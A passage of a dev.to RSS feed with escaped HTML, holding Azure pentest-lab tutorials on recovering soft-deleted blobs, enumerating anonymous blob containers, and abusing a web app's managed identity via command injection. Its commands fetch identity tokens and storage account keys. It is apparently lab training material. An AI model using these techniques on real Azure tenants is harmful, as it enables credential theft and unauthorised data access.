&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;nuclei&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;YourUsername&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;\nuclei-templates\cloud\azure\azure-arm-template-should-include-strong-authentication.yaml&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;https://example.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🔎 &lt;strong&gt;Additional Tips:&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use Elevated Permissions&lt;/strong&gt; – Ensure you are running the terminal as &lt;strong&gt;Administrator&lt;/strong&gt;.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate Service Principal Credentials&lt;/strong&gt; – For long-term use, rotate your &lt;code&gt;AZURE_CLIENT_SECRET&lt;/code&gt; regularly.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use Multiple Subscriptions&lt;/strong&gt; – If you want to scan across multiple subscriptions, switch context using:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;account&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--subscription&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SUBSCRIPTION_ID"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






</description>
      <category>azure</category>
      <category>nuclei</category>
    </item>
    <item>
      <title>Soft Deleted Blobs</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Sun, 08 May 2022 00:42:57 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/soft-deleted-blobs-3eo1</link>
      <guid>https://dev.to/cheahengsoon/soft-deleted-blobs-3eo1</guid>
      <description>&lt;p&gt;Original Research: &lt;a href="https://0xpwn.wordpress.com/2022/03/09/create-an-azure-vulnerable-lab-part-3-soft-deleted-blobs/" rel="noopener noreferrer"&gt;0xPwN Blog - Create an Azure Vulnerable Lab: Part #3 – Soft Deleted Blobs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this tutorial we will see how data that has been deleted from a private Storage Account Container can still be a risk in some cases. Even if we know the full path of resources uploaded to a private container, Azure requires authentication to be accessed. To provide access we can choose between:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A shared access signature (SAS) – is a URI that grants restricted access to an Azure Storage container. Use it when you want to grant access to storage account resources for a specific time range without sharing your storage account key.&lt;/li&gt;
&lt;li&gt;A connection string includes the authorization information required for your application to access data in an Azure Storage account at runtime using Shared Key authorization.&lt;/li&gt;
&lt;li&gt;Managed Identities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the sake of this tutorial, we will pretend to be a developer that uses the connection string and saves it in a config file/source code deployed to Azure. Additionally, the web application deployed has a command injection vulnerability. &lt;br&gt;
We can find the connection string of a Storage Account in the Azure portal as shown below:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7m3mvnb2de3f0r3bco1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7m3mvnb2de3f0r3bco1t.png" alt="Storage Account Keys" width="800" height="534"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, the problem here is that we are giving access to the whole storage account by passing the connection string into the web app. Azure supports granular access for specific containers, for a limited amount of time, or event for a specific file within the container! But for convenience (or lack of knowledge), a developer might deploy the connection string for the entire storage account. Don’t be that developer.&lt;/p&gt;

&lt;p&gt;The second part of this tutorial is about recovering deleted blobs. By default, when creating a storage container using the Portal, the Soft Deletion is enabled with 7 days retention time. Now image that you got access to a storage account with tens of containers, and someone at some point mistakenly uploaded an SSH key to one of these containers and than deleted it without being aware of the 7 day retention day “feature”. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjl3zyonqdj1fj17xuin.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjl3zyonqdj1fj17xuin.png" alt="Soft Deleted Blob" width="787" height="654"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Soft Deleted Blobs
&lt;/h2&gt;

&lt;p&gt;Now, to exploit this vulnerability we navigate to the web application vulnerable to command injection and start poking around. Listing the files in the current directory, we can find among other the source code in the app.py:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdbrgo46v8dux46mzarlx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdbrgo46v8dux46mzarlx.png" alt="Files" width="387" height="323"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Listing the contents of this file, we can see there is a connection string stored inside (our placeholder has been replaced at runtime with the actual value of the container):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbb19v3t9dvr3duwqmc3v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbb19v3t9dvr3duwqmc3v.png" alt="Source code" width="697" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Inside the Microsoft Azure Container Explorer, we specify that we want to connect to a storage account&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F92157ddeaji8vfyyajfu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F92157ddeaji8vfyyajfu.png" alt="Storage Account explorer" width="756" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And that we want to use a Connection String&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6zl17zbtemypvqlv36yp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6zl17zbtemypvqlv36yp.png" alt="Connection String" width="566" height="397"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we paste the value of the conn_str variable that we found in the source code, and connect:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fylqo64kmlkhq8w2ps6xm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fylqo64kmlkhq8w2ps6xm.png" alt="Connection info" width="605" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the left side menu, a new storage account should show up. Navigate to the Blob Containers -&amp;gt; images and open it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty5z5u28cmqro4my1ac8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty5z5u28cmqro4my1ac8.png" alt="Container" width="723" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;At first glance, it seems that nothing of interest is stored here. Remember the flag that we accidentally uploaded? Change the view to Active and soft deleted blobs:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi1qe9fk91y6c5spo3r3b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi1qe9fk91y6c5spo3r3b.png" alt="Files" width="483" height="298"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And voila! Right click -&amp;gt; Undelete&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejcm7pqjyp3ksmyooxrh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fejcm7pqjyp3ksmyooxrh.png" alt="Flag" width="377" height="296"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>pentest</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Anonymous Blob Access</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Thu, 05 May 2022 22:54:48 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/anonymous-blob-access-2fd6</link>
      <guid>https://dev.to/cheahengsoon/anonymous-blob-access-2fd6</guid>
      <description>&lt;p&gt;Original Research: &lt;a href="https://0xpwn.wordpress.com/2022/03/05/setting-up-an-azure-pentest-lab-part-1-anonymous-blob-access/" rel="noopener noreferrer"&gt;0xPwN Blog - Create an Azure Vulnerable Lab: Part #1 – Anonymous Blob Access&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;"Storage Accounts" is the service provided by Azure to store data in the cloud. A storage account can used to store:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Blobs&lt;/li&gt;
&lt;li&gt;File shares&lt;/li&gt;
&lt;li&gt;Tables&lt;/li&gt;
&lt;li&gt;Queues&lt;/li&gt;
&lt;li&gt;VM disks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.partech.nl%2F-%2Fmedia%2Fhabitat%2Fimages%2Fblog%2Fazure-storage-account%2Fazure-storage-types.ashx%3Fmw%3D900%26hash%3D555BFCDE52A79D19432AA476A2935234" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fwww.partech.nl%2F-%2Fmedia%2Fhabitat%2Fimages%2Fblog%2Fazure-storage-account%2Fazure-storage-types.ashx%3Fmw%3D900%26hash%3D555BFCDE52A79D19432AA476A2935234" alt="Azure Storage Account" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Private Access – no anonymous access is allowed&lt;/li&gt;
&lt;li&gt;Blob Access – we can access the blobs anonymously, as long as we know the full URL (container name + blob name)&lt;/li&gt;
&lt;li&gt;Container Access – we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you might have guessed, granting Container Access permission can be easily abused to download all the files stored within the container without any permissions as the only things required to be known are the storage account name and the container name, both of which can be enumerated with wordlists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Anonymous Blob Access
&lt;/h2&gt;

&lt;p&gt;Now, there are thousands of articles explaining how this can be abused and how to search for insecure storage in Azure, but to make things easier I’ll do a TL:DR. One of the easiest way is to use MicroBurst, provide the storage account name to search for, and it’ll check if the containers exists based on a wordlist saved in the Misc/permutations.txt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PS &amp;gt; import-module .\MicroBurst.psm1
PS&amp;gt; Invoke-EnumerateAzureBlobs -Base 0xpwnstorageacc
Found Storage Account - 0xpwnstorageacc.blob.core.windows.net
Found Container - 0xpwnstorageacc.blob.core.windows.net/public
Public File Available: https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alternatively adding ?restype=container&amp;amp;comp=list after the container name:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://&amp;lt;storage_account&amp;gt;.blob.core.windows.net/&amp;lt;container&amp;gt;?restype=container&amp;amp;comp=list
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
&amp;lt;EnumerationResults ContainerName="https://0xpwnstorageacc.blob.core.windows.net/public"&amp;gt;
    &amp;lt;Blobs&amp;gt;
        &amp;lt;Blob&amp;gt;
            &amp;lt;Name&amp;gt;flag.txt&amp;lt;/Name&amp;gt;
            &amp;lt;Url&amp;gt;
https://0xpwnstorageacc.blob.core.windows.net/public/flag.txt
&amp;lt;/Url&amp;gt;
            &amp;lt;Properties&amp;gt;
                &amp;lt;Last-Modified&amp;gt;Sat, 05 Mar 2022 18:02:14 GMT&amp;lt;/Last-Modified&amp;gt;
                &amp;lt;Etag&amp;gt;0x8D9FED247B7848D&amp;lt;/Etag&amp;gt;
                &amp;lt;Content-Length&amp;gt;34&amp;lt;/Content-Length&amp;gt;
                &amp;lt;Content-Type&amp;gt;text/plain&amp;lt;/Content-Type&amp;gt;
                &amp;lt;Content-Encoding/&amp;gt;
                &amp;lt;Content-Language/&amp;gt;
                &amp;lt;Content-MD5&amp;gt;lur6Yvd173x6Zl1HUGvtag==&amp;lt;/Content-MD5&amp;gt;
                &amp;lt;Cache-Control/&amp;gt;
                &amp;lt;BlobType&amp;gt;BlockBlob&amp;lt;/BlobType&amp;gt;
                &amp;lt;LeaseStatus&amp;gt;unlocked&amp;lt;/LeaseStatus&amp;gt;
            &amp;lt;/Properties&amp;gt;
        &amp;lt;/Blob&amp;gt;
    &amp;lt;/Blobs&amp;gt;
    &amp;lt;NextMarker/&amp;gt;
&amp;lt;/EnumerationResults&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>azure</category>
      <category>pentest</category>
      <category>cloudsecurity</category>
    </item>
    <item>
      <title>Abusing Managed Identities</title>
      <dc:creator>Eng Soon Cheah</dc:creator>
      <pubDate>Wed, 04 May 2022 22:57:05 +0000</pubDate>
      <link>https://dev.to/cheahengsoon/abusing-managed-identities-1oai</link>
      <guid>https://dev.to/cheahengsoon/abusing-managed-identities-1oai</guid>
      <description>&lt;p&gt;Original Research: &lt;a href="https://0xpwn.wordpress.com/2022/03/13/create-an-azure-vulnerable-lab-part-4-managed-identities/" rel="noopener noreferrer"&gt;0xPwN Blog - Create an Azure Vulnerable Lab: Part #4 – Managed Identities&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.&lt;/p&gt;

&lt;p&gt;First we enable the managed identity for the web application:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo3zzxn7s0tt5smcqvqeb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo3zzxn7s0tt5smcqvqeb.png" alt="Azure Managed Identities" width="554" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F931wanby9hch4a1al5by.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F931wanby9hch4a1al5by.png" alt="Azure Managed Identities" width="537" height="427"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates “downwards” in the Azure architecture layer.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk5ldthh58kc81ni0matg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk5ldthh58kc81ni0matg.png" alt="Azure Managed Identities" width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Under each role, we can see in details what permissions are included. Azure allows also to configure custom roles in case the built-in ones are not suitable for your case.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4cncnjdbzycoxi8v08ed.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4cncnjdbzycoxi8v08ed.png" alt="Azure Managed Identities" width="800" height="362"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Similarly, to see who has permissions granted for a give resource, we can check that under the Access Control (IAM) -&amp;gt; View access to this resource.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa9quj07wztbr43746am5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa9quj07wztbr43746am5.png" alt="Azure Managed Identities" width="800" height="419"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So in our case, we should see under the Storage Account that the web application has Reader and Data Access:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd7010ubc828z6lo1ya8q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd7010ubc828z6lo1ya8q.png" alt="Azure Managed Identities" width="800" height="396"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have the basics of how Managed Identity works, let’s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application we should be able to get as well access to the storage account. Long story short, we get the same permissions that the resource we compromised had. Based on how poorly the Identity roles are assigned, it can be the case that the permissions are assigned at Subscription level, effectively granting us access to all resources inside it!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ak37ivkuwn7eqsf46ru.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8ak37ivkuwn7eqsf46ru.png" alt="Azure Managed Identities" width="433" height="281"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;While in our case it looks that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a catch. Our web app needs permissions only to the “images” container, but the managed identity configured has enough permissions to list the access keys to the whole Storage Account granting us access to any other containers hosted on the same account. &lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Azure Managed Identity
&lt;/h2&gt;

&lt;p&gt;Abusing the command injection on the web app, we can make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an access token and account id (client id in the response) which can be used to authenticate to Azure.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IDENTITY_ENDPOINT&lt;/span&gt;&lt;span class="s2"&gt;?resource=https://management.azure.com/&amp;amp;api-version=2017-09-01"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; secret:&lt;span class="nv"&gt;$IDENTITY_HEADER&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8yw19kz8o6n4l9xe8rt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw8yw19kz8o6n4l9xe8rt.png" alt="Azure Managed Identities" width="528" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the Azure Powershell module, we can connect to Azure with the access token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Install-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Az&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Repository&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PSGallery&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Connect-AzAccount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AccessToken&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;access_token&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-AccountId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;client_id&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once connected, you should see details about the Subscription and Tenant that the Managed Identity we are impersonating has access to. Using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6iincq3d8ustm8txyv5i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6iincq3d8ustm8txyv5i.png" alt="Azure Managed Identities" width="800" height="206"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To list the roles assigned to the managed, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires additionally a graph token which we can get from the &lt;a href="https://graph.microsoft.com/" rel="noopener noreferrer"&gt;https://graph.microsoft.com/&lt;/a&gt; endpoint, but also the permission to list roles and permissions for identities which our Identity does not have.&lt;/p&gt;

&lt;p&gt;However, we can still try to access the Storage Account keys without these permissions and see if we are successful. For that we will use the Get-AzStorageAccountKey cmdley with the Resource Group Name and Account Name that we found in the previous step.&lt;/p&gt;

&lt;p&gt;Get storage account keys:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
